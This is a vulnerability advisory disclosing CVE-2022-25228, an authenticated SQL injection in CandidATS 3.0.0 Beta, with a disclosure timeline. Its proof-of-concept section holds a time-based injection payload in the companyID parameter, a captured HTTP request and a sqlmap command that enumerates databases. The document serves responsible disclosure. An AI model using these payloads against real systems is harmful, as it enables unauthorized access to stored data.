CandidATS 3.0.0 - Authenticated SQL Injection

Summary


Name	CandidATS 3.0.0 - Authenticated SQL Injection
Code name	Jackson
Product	CandidATS
Affected versions	Version 3.0.0 Beta (Pilava Beta)
State	Public
Release date	2022-07-19

Vulnerability


Kind	SQL injection
Rule	146. SQL injection
Remote	Yes
CVSSv3.1 Vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
CVSSv3.1 Base Score	6.3
Exploit available	No
CVE ID(s)	CVE-2022-25228

Description

CandidATS Version 3.0.0 Beta allows an authenticated user to inject SQL queries in /index.php?m=settings&a=show via the userID parameter, in /index.php?m=candidates&a=show via the candidateID, in /index.php?m=joborders&a=show via the jobOrderID and /index.php?m=companies&a=show via the companyID parameter

Proof of Concept

Log in to CandidATS with a user who has permissions to read job orders, candidates or companies.
Go to index.php?m=joborders (or any of the option above).
Uncheck the Only My Companies option.
Select any of the items listed and intercept the request with BurpSuite.
It is possible to inject sql sentences inside the companyID parameter, for example, the following request will make the database sleep for 5 seconds.
```
GET /candidATS/index.php?m=companies&a=show&companyID=2+or+sleep(5) HTTP/1.1
```

Save the intercepted request into a file.

GET /candidATS/index.php?m=companies&a=show&companyID=2 HTTP/1.1
Host: 172.16.28.136
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: CATS=dji5p76l4ajdpubegkt552ma9n
Upgrade-Insecure-Requests: 1

Run the following command from sqlmap in order to extract information from the database.
```
sqlmap -r companyId.req -p companyID --dbs --batch
```

Exploit

It is possible to use sqlmap in order to extract information from the database

Mitigation

This information will be released later according to our Responsible Disclosure Policy.

Credits

The vulnerability was discovered by Oscar Uribe from the Offensive Team of Fluid Attacks.

References

Vendor page https://candidats.net/forums/

Timeline

2022-04-19

Vulnerability discovered.

2022-04-19

Vendor contacted.

2022-04-20

Vendor replied acknowledging the report.

2022-04-20

Vendor Confirmed the vulnerability.

2022-07-19

Public Disclosure.